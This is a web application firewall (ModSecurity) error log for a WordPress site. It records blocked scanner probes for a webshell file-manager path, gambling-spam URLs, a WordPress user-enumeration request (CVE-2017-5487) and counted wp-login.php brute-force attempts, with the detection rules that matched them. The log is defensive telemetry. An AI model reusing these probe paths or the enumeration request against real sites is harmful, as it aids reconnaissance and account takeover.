[Fri Feb 27 05:11:35.039098 2026] [:error] [pid 42658:tid 42664] [client 4.204.200.32:62307] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaC3B4zcoYl3nRbu1jZm6wAAAgQ"]
[Fri Feb 27 05:11:35.819642 2026] [:error] [pid 3974:tid 4052] [client 4.204.200.32:62265] [client 4.204.200.32] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaC3B3p-fQtdOYjkuFvdlwAAAE8"]
[Fri Feb 27 05:12:02.691877 2026] [:error] [pid 5365:tid 5373] [client 49.7.227.204:52226] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aaC3IpYAa8J3tYxdG3wx-QAAAQY"]
[Fri Feb 27 06:43:11.962323 2026] [:error] [pid 3975:tid 4014] [client 188.165.217.198:51340] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aaDMfxMVp0-T2hD76b3GCwAAAIQ"]
[Fri Feb 27 06:43:22.437398 2026] [:error] [pid 3975:tid 4026] [client 188.165.217.198:53454] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aaDMihMVp0-T2hD76b3GEAAAAJA"]
[Fri Feb 27 06:43:36.403693 2026] [:error] [pid 5365:tid 5370] [client 188.165.217.198:56964] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aaDMmJYAa8J3tYxdG3xlngAAAQM"]
[Fri Feb 27 06:43:44.405773 2026] [:error] [pid 21329:tid 21386] [client 188.165.217.198:58696] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aaDMoJvQWnde-MjcQ1Fr-QAAAUM"]
[Fri Feb 27 06:43:58.880000 2026] [:error] [pid 4081:tid 4101] [client 188.165.217.198:34316] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aaDMrg55mnr35z8h7t3tugAAANI"]
[Fri Feb 27 06:46:16.589600 2026] [:error] [pid 21329:tid 21407] [client 188.165.217.198:39240] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aaDNOJvQWnde-MjcQ1FsfwAAAVg"]
[Fri Feb 27 06:46:25.303255 2026] [:error] [pid 42658:tid 42662] [client 188.165.217.198:40870] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aaDNQYzcoYl3nRbu1jaMvwAAAgI"]
[Fri Feb 27 06:46:32.535224 2026] [:error] [pid 42658:tid 42684] [client 188.165.217.198:42768] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aaDNSIzcoYl3nRbu1jaMywAAAhg"]
[Fri Feb 27 06:46:42.689254 2026] [:error] [pid 3973:tid 3993] [client 188.165.217.198:45230] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aaDNUoJZsftwqmUaaLMAcQAAAAo"]
[Fri Feb 27 06:46:48.173698 2026] [:error] [pid 5365:tid 5381] [client 188.165.217.198:46330] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aaDNWJYAa8J3tYxdG3xniwAAAQ4"]
[Fri Feb 27 06:47:02.816039 2026] [:error] [pid 42658:tid 42679] [client 188.165.217.198:50150] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aaDNZozcoYl3nRbu1jaM_gAAAhM"]
[Fri Feb 27 06:49:15.936863 2026] [:error] [pid 3973:tid 3991] [client 188.165.217.198:52728] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game%20slot.aspx"] [unique_id "aaDN64JZsftwqmUaaLMAhQAAAAg"]
[Fri Feb 27 06:49:25.772372 2026] [:error] [pid 42435:tid 42459] [client 188.165.217.198:55052] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "aaDN9R5hHLnaukp_y9-ezgAAAZM"]
[Fri Feb 27 06:49:32.822600 2026] [:error] [pid 42658:tid 42677] [client 188.165.217.198:56738] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaDN_IzcoYl3nRbu1jaN5wAAAhE"]
[Fri Feb 27 06:49:57.566969 2026] [:error] [pid 3973:tid 3998] [client 188.165.217.198:34150] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20joker.aspx"] [unique_id "aaDOFYJZsftwqmUaaLMAlAAAAA8"]
[Fri Feb 27 06:52:13.294110 2026] [:error] [pid 42658:tid 42664] [client 188.165.217.198:37072] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaDOnYzcoYl3nRbu1jaPYwAAAgQ"]
[Fri Feb 27 06:52:21.101319 2026] [:error] [pid 5365:tid 5374] [client 188.165.217.198:38296] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaDOpZYAa8J3tYxdG3xq3gAAAQc"]
[Fri Feb 27 06:52:31.324832 2026] [:error] [pid 42435:tid 42454] [client 188.165.217.198:40888] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaDOrx5hHLnaukp_y9-fpQAAAY4"]
[Fri Feb 27 06:52:42.339712 2026] [:error] [pid 42563:tid 42580] [client 188.165.217.198:42510] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaDOunKL5BclZy73IRHhBwAAAco"]
[Fri Feb 27 06:52:48.277578 2026] [:error] [pid 5365:tid 5386] [client 188.165.217.198:43892] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaDOwJYAa8J3tYxdG3xrNwAAARM"]
[Fri Feb 27 06:52:58.373478 2026] [:error] [pid 42563:tid 42587] [client 188.165.217.198:46254] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaDOynKL5BclZy73IRHhHAAAAdE"]
[Fri Feb 27 06:55:00.212379 2026] [:error] [pid 5365:tid 5388] [client 188.165.217.198:45168] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "aaDPRJYAa8J3tYxdG3xszwAAARU"]
[Fri Feb 27 06:55:10.680159 2026] [:error] [pid 42435:tid 42454] [client 188.165.217.198:47746] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "aaDPTh5hHLnaukp_y9-gPQAAAY4"]
[Fri Feb 27 06:55:33.657180 2026] [:error] [pid 42658:tid 42661] [client 188.165.217.198:53916] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "aaDPZYzcoYl3nRbu1jaQZAAAAgE"]
[Fri Feb 27 06:55:49.387479 2026] [:error] [pid 42658:tid 42665] [client 188.165.217.198:57274] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "aaDPdYzcoYl3nRbu1jaQegAAAgU"]
[Fri Feb 27 06:58:04.890881 2026] [:error] [pid 5365:tid 5385] [client 188.165.217.198:59382] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaDP_JYAa8J3tYxdG3xusgAAARI"]
[Fri Feb 27 06:58:09.349241 2026] [:error] [pid 21329:tid 21386] [client 188.165.217.198:33076] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaDQAZvQWnde-MjcQ1FvNAAAAUM"]
[Fri Feb 27 06:58:17.411659 2026] [:error] [pid 42563:tid 42572] [client 188.165.217.198:34850] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "aaDQCXKL5BclZy73IRHjPQAAAcQ"]
[Fri Feb 27 06:58:23.396187 2026] [:error] [pid 42435:tid 42450] [client 188.165.217.198:35686] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aaDQDx5hHLnaukp_y9-gpAAAAYo"]
[Fri Feb 27 06:58:40.215973 2026] [:error] [pid 42658:tid 42662] [client 188.165.217.198:39342] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aaDQIIzcoYl3nRbu1jaSDwAAAgI"]
[Fri Feb 27 06:58:47.042469 2026] [:error] [pid 42435:tid 42452] [client 188.165.217.198:40664] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aaDQJx5hHLnaukp_y9-gqQAAAYw"]
[Fri Feb 27 06:58:55.555282 2026] [:error] [pid 42658:tid 42670] [client 188.165.217.198:42540] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aaDQL4zcoYl3nRbu1jaSJgAAAgo"]
[Fri Feb 27 07:00:57.552090 2026] [:error] [pid 42435:tid 42451] [client 188.165.217.198:41082] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "aaDQqR5hHLnaukp_y9-hGwAAAYs"]
[Fri Feb 27 07:01:04.569956 2026] [:error] [pid 3974:tid 4035] [client 188.165.217.198:42538] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaDQsHp-fQtdOYjkuFvodQAAAEE"]
[Fri Feb 27 07:01:13.009824 2026] [:error] [pid 21329:tid 21398] [client 188.165.217.198:44422] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "aaDQuZvQWnde-MjcQ1FvpQAAAU8"]
[Fri Feb 27 07:01:19.359777 2026] [:error] [pid 21329:tid 21389] [client 188.165.217.198:45238] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "aaDQv5vQWnde-MjcQ1FvrwAAAUY"]
[Fri Feb 27 07:01:24.843851 2026] [:error] [pid 42435:tid 42452] [client 188.165.217.198:46482] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "aaDQxB5hHLnaukp_y9-hLgAAAYw"]
[Fri Feb 27 07:01:32.441632 2026] [:error] [pid 42658:tid 42677] [client 188.165.217.198:48044] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "aaDQzIzcoYl3nRbu1jaTxQAAAhE"]
[Fri Feb 27 07:01:36.701959 2026] [:error] [pid 42435:tid 42449] [client 188.165.217.198:48612] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaDQ0B5hHLnaukp_y9-hNAAAAYk"]
[Fri Feb 27 07:01:41.400691 2026] [:error] [pid 42563:tid 42573] [client 188.165.217.198:49566] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "aaDQ1XKL5BclZy73IRHkdQAAAcU"]
[Fri Feb 27 09:43:25.912581 2026] [:error] [pid 54231:tid 54235] [client 129.226.213.145:38396] [client 129.226.213.145] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaD2veTvb5AeyJCdY7A4JQAAAEE"]
[Fri Feb 27 09:51:03.685124 2026] [:error] [pid 56075:tid 56088] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4h8KBhrfI6KNv9Rg_BgAAAAs"]
[Fri Feb 27 09:51:21.869314 2026] [:error] [pid 56075:tid 56095] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aaD4mcKBhrfI6KNv9Rg_OAAAABE"], referer: https://www.google.com/
[Fri Feb 27 09:51:22.050784 2026] [:error] [pid 56075:tid 56097] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4msKBhrfI6KNv9Rg_OgAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:25.149360 2026] [:error] [pid 56075:tid 56077] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4ncKBhrfI6KNv9Rg_QwAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:26.452814 2026] [:error] [pid 56075:tid 56101] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4nsKBhrfI6KNv9Rg_RgAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:29.383011 2026] [:error] [pid 56075:tid 56090] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4ocKBhrfI6KNv9Rg_SQAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:30.813387 2026] [:error] [pid 56075:tid 56088] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4osKBhrfI6KNv9Rg_TAAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:33.501730 2026] [:error] [pid 56075:tid 56095] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4pcKBhrfI6KNv9Rg_VgAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:34.855565 2026] [:error] [pid 56075:tid 56099] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4psKBhrfI6KNv9Rg_WAAAABU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 09:51:37.777051 2026] [:error] [pid 56075:tid 56088] [client 54.215.238.21:56573] [client 54.215.238.21] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.215.238.21, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaD4qcKBhrfI6KNv9Rg_WwAAAAs"], referer: https://gigfragments.org/wp-login.php
